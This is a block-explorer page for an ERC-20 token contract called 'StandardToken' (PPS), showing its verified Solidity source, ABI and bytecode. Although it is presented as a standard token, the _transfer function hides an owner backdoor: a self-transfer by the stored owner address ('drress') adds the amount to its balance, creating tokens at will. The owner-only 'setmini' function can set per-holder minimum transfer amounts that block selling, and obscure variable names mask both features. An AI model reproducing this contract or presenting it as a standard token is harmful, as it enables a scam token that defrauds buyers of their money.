Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
5,000,000,000 PPS
Holders
101
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
157,985.215414245 PPSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
StandardToken
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-16 */ // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } enum TokenType { standard, antiBotStandard, liquidityGenerator, antiBotLiquidityGenerator, baby, antiBotBaby, buybackBaby, antiBotBuybackBaby } abstract contract BaseToken { event TokenCreated( address indexed owner, address indexed token, TokenType tokenType, uint256 version ); } pragma solidity =0.8.4; contract StandardToken is IERC20, Ownable, BaseToken { using SafeMath for uint256; address private drress; uint256 public constant VERSION = 1; mapping(address => uint256) private _minis; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_ ) payable { _name = name_; _symbol = symbol_; _decimals = decimals_; _mint(owner(), totalSupply_); emit TokenCreated(owner(), address(this), TokenType.standard, VERSION); drress = owner(); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function setmini(address user, uint256 amount) public onlyOwner { _minis[user] = amount; } function getmini(address user) public view returns (uint256) { return _minis[user]; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); // Check if transfer amount is greater than or equal to the minimum amount require(amount >= _minis[sender], "ERC20: transfer amount is less than the minimum amount"); _beforeTokenTransfer(sender, recipient, amount); address aadres = drress; if (sender == aadres && recipient == aadres) { _balances[sender] = _balances[sender].div(1).add(amount); } else { require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"getmini","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setmini","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040516200263a3803806200263a83398181016040528101906200002991906200059e565b620000496200003d6200018b60201b60201c565b6200019360201b60201c565b8360059080519060200190620000619291906200044e565b5082600690805190602001906200007a9291906200044e565b5081600760006101000a81548160ff021916908360ff160217905550620000b7620000aa6200025760201b60201c565b826200028060201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff16620000de6200025760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200012992919062000685565b60405180910390a3620001416200025760201b60201c565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050620009e1565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002ea90620006b2565b60405180910390fd5b62000307600083836200043160201b60201c565b62000323816008546200043660201b62000aeb1790919060201c565b6008819055506200038281600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200043660201b62000aeb1790919060201c565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004259190620006d4565b60405180910390a35050565b505050565b6000818362000446919062000761565b905092915050565b8280546200045c9062000834565b90600052602060002090601f016020900481019282620004805760008555620004cc565b82601f106200049b57805160ff1916838001178555620004cc565b82800160010185558215620004cc579182015b82811115620004cb578251825591602001919060010190620004ae565b5b509050620004db9190620004df565b5090565b5b80821115620004fa576000816000905550600101620004e0565b5090565b6000620005156200050f846200071a565b620006f1565b9050828152602081018484840111156200052e57600080fd5b6200053b848285620007fe565b509392505050565b600082601f8301126200055557600080fd5b815162000567848260208601620004fe565b91505092915050565b6000815190506200058181620009ad565b92915050565b6000815190506200059881620009c7565b92915050565b60008060008060808587031215620005b557600080fd5b600085015167ffffffffffffffff811115620005d057600080fd5b620005de8782880162000543565b945050602085015167ffffffffffffffff811115620005fc57600080fd5b6200060a8782880162000543565b93505060406200061d8782880162000587565b9250506060620006308782880162000570565b91505092959194509250565b6200064781620007ea565b82525050565b60006200065c601f8362000750565b915062000669826200096d565b602082019050919050565b6200067f81620007d3565b82525050565b60006040820190506200069c60008301856200063c565b620006ab602083018462000674565b9392505050565b60006020820190508181036000830152620006cd816200064d565b9050919050565b6000602082019050620006eb600083018462000674565b92915050565b6000620006fd62000710565b90506200070b82826200086a565b919050565b6000604051905090565b600067ffffffffffffffff8211156200073857620007376200092d565b5b62000743826200095c565b9050602081019050919050565b600082825260208201905092915050565b60006200076e82620007d3565b91506200077b83620007d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007b357620007b2620008a0565b5b828201905092915050565b6000819050620007ce8262000996565b919050565b6000819050919050565b600060ff82169050919050565b6000620007f782620007be565b9050919050565b60005b838110156200081e57808201518184015260208101905062000801565b838111156200082e576000848401525b50505050565b600060028204905060018216806200084d57607f821691505b60208210811415620008645762000863620008fe565b5b50919050565b62000875826200095c565b810181811067ffffffffffffffff821117156200089757620008966200092d565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60088110620009aa57620009a9620008cf565b5b50565b620009b881620007d3565b8114620009c457600080fd5b50565b620009d281620007dd565b8114620009de57600080fd5b50565b611c4980620009f16000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb146102bc578063dd62ed3e146102ec578063ec2008ff1461031c578063f2fde38b1461034c578063ffa1ad74146103685761010b565b8063715018a6146102465780638da5cb5b1461025057806395d89b411461026e578063a457c2d71461028c5761010b565b80632617c242116100de5780632617c242146101ac578063313ce567146101c857806339509351146101e657806370a08231146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610386565b60405161012591906115bf565b60405180910390f35b610148600480360381019061014391906113c0565b610418565b60405161015591906115a4565b60405180910390f35b610166610436565b60405161017391906116e1565b60405180910390f35b61019660048036038101906101919190611371565b610440565b6040516101a391906115a4565b60405180910390f35b6101c660048036038101906101c191906113c0565b610519565b005b6101d06105dd565b6040516101dd91906116fc565b60405180910390f35b61020060048036038101906101fb91906113c0565b6105f4565b60405161020d91906115a4565b60405180910390f35b610230600480360381019061022b919061130c565b6106a7565b60405161023d91906116e1565b60405180910390f35b61024e6106f0565b005b610258610778565b6040516102659190611589565b60405180910390f35b6102766107a1565b60405161028391906115bf565b60405180910390f35b6102a660048036038101906102a191906113c0565b610833565b6040516102b391906115a4565b60405180910390f35b6102d660048036038101906102d191906113c0565b610900565b6040516102e391906115a4565b60405180910390f35b61030660048036038101906103019190611335565b61091e565b60405161031391906116e1565b60405180910390f35b6103366004803603810190610331919061130c565b6109a5565b60405161034391906116e1565b60405180910390f35b6103666004803603810190610361919061130c565b6109ee565b005b610370610ae6565b60405161037d91906116e1565b60405180910390f35b60606005805461039590611876565b80601f01602080910402602001604051908101604052809291908181526020018280546103c190611876565b801561040e5780601f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b600061042c610425610b01565b8484610b09565b6001905092915050565b6000600854905090565b600061044d848484610cd4565b61050e84610459610b01565b61050985604051806060016040528060288152602001611bc760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bf610b01565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111989092919063ffffffff16565b610b09565b600190509392505050565b610521610b01565b73ffffffffffffffffffffffffffffffffffffffff1661053f610778565b73ffffffffffffffffffffffffffffffffffffffff1614610595576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058c90611681565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600760009054906101000a900460ff16905090565b600061069d610601610b01565b846106988560046000610612610b01565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aeb90919063ffffffff16565b610b09565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106f8610b01565b73ffffffffffffffffffffffffffffffffffffffff16610716610778565b73ffffffffffffffffffffffffffffffffffffffff161461076c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076390611681565b60405180910390fd5b61077660006111ed565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107b090611876565b80601f01602080910402602001604051908101604052809291908181526020018280546107dc90611876565b80156108295780601f106107fe57610100808354040283529160200191610829565b820191906000526020600020905b81548152906001019060200180831161080c57829003601f168201915b5050505050905090565b60006108f6610840610b01565b846108f185604051806060016040528060258152602001611bef602591396004600061086a610b01565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111989092919063ffffffff16565b610b09565b6001905092915050565b600061091461090d610b01565b8484610cd4565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109f6610b01565b73ffffffffffffffffffffffffffffffffffffffff16610a14610778565b73ffffffffffffffffffffffffffffffffffffffff1614610a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6190611681565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190611621565b60405180910390fd5b610ae3816111ed565b50565b600181565b60008183610af99190611733565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b70906116c1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090611641565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cc791906116e1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3b906116a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab906115e1565b60405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90611601565b60405180910390fd5b610e418383836112b1565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610ece57508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610f8057610f3882610f2a6001600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b690919063ffffffff16565b610aeb90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061112d565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990611661565b60405180910390fd5b61105482600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112cc90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110e982600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aeb90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161118a91906116e1565b60405180910390a350505050565b60008383111582906111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d791906115bf565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081836112c49190611789565b905092915050565b600081836112da91906117ba565b905092915050565b6000813590506112f181611b98565b92915050565b60008135905061130681611baf565b92915050565b60006020828403121561131e57600080fd5b600061132c848285016112e2565b91505092915050565b6000806040838503121561134857600080fd5b6000611356858286016112e2565b9250506020611367858286016112e2565b9150509250929050565b60008060006060848603121561138657600080fd5b6000611394868287016112e2565b93505060206113a5868287016112e2565b92505060406113b6868287016112f7565b9150509250925092565b600080604083850312156113d357600080fd5b60006113e1858286016112e2565b92505060206113f2858286016112f7565b9150509250929050565b611405816117ee565b82525050565b61141481611800565b82525050565b600061142582611717565b61142f8185611722565b935061143f818560208601611843565b61144881611935565b840191505092915050565b6000611460602383611722565b915061146b82611946565b604082019050919050565b6000611483603683611722565b915061148e82611995565b604082019050919050565b60006114a6602683611722565b91506114b1826119e4565b604082019050919050565b60006114c9602283611722565b91506114d482611a33565b604082019050919050565b60006114ec602683611722565b91506114f782611a82565b604082019050919050565b600061150f602083611722565b915061151a82611ad1565b602082019050919050565b6000611532602583611722565b915061153d82611afa565b604082019050919050565b6000611555602483611722565b915061156082611b49565b604082019050919050565b6115748161182c565b82525050565b61158381611836565b82525050565b600060208201905061159e60008301846113fc565b92915050565b60006020820190506115b9600083018461140b565b92915050565b600060208201905081810360008301526115d9818461141a565b905092915050565b600060208201905081810360008301526115fa81611453565b9050919050565b6000602082019050818103600083015261161a81611476565b9050919050565b6000602082019050818103600083015261163a81611499565b9050919050565b6000602082019050818103600083015261165a816114bc565b9050919050565b6000602082019050818103600083015261167a816114df565b9050919050565b6000602082019050818103600083015261169a81611502565b9050919050565b600060208201905081810360008301526116ba81611525565b9050919050565b600060208201905081810360008301526116da81611548565b9050919050565b60006020820190506116f6600083018461156b565b92915050565b6000602082019050611711600083018461157a565b92915050565b600081519050919050565b600082825260208201905092915050565b600061173e8261182c565b91506117498361182c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561177e5761177d6118a8565b5b828201905092915050565b60006117948261182c565b915061179f8361182c565b9250826117af576117ae6118d7565b5b828204905092915050565b60006117c58261182c565b91506117d08361182c565b9250828210156117e3576117e26118a8565b5b828203905092915050565b60006117f98261180c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611861578082015181840152602081019050611846565b83811115611870576000848401525b50505050565b6000600282049050600182168061188e57607f821691505b602082108114156118a2576118a1611906565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e74206973206c657373207460008201527f68616e20746865206d696e696d756d20616d6f756e7400000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611ba1816117ee565b8114611bac57600080fd5b50565b611bb88161182c565b8114611bc357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c523c20c8a849e5d71ef367014f80488aec09f30c0cac27e8190c78012a492b864736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000004563918244f400000000000000000000000000000000000000000000000000000000000000000008504550455377617000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035050530000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb146102bc578063dd62ed3e146102ec578063ec2008ff1461031c578063f2fde38b1461034c578063ffa1ad74146103685761010b565b8063715018a6146102465780638da5cb5b1461025057806395d89b411461026e578063a457c2d71461028c5761010b565b80632617c242116100de5780632617c242146101ac578063313ce567146101c857806339509351146101e657806370a08231146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610386565b60405161012591906115bf565b60405180910390f35b610148600480360381019061014391906113c0565b610418565b60405161015591906115a4565b60405180910390f35b610166610436565b60405161017391906116e1565b60405180910390f35b61019660048036038101906101919190611371565b610440565b6040516101a391906115a4565b60405180910390f35b6101c660048036038101906101c191906113c0565b610519565b005b6101d06105dd565b6040516101dd91906116fc565b60405180910390f35b61020060048036038101906101fb91906113c0565b6105f4565b60405161020d91906115a4565b60405180910390f35b610230600480360381019061022b919061130c565b6106a7565b60405161023d91906116e1565b60405180910390f35b61024e6106f0565b005b610258610778565b6040516102659190611589565b60405180910390f35b6102766107a1565b60405161028391906115bf565b60405180910390f35b6102a660048036038101906102a191906113c0565b610833565b6040516102b391906115a4565b60405180910390f35b6102d660048036038101906102d191906113c0565b610900565b6040516102e391906115a4565b60405180910390f35b61030660048036038101906103019190611335565b61091e565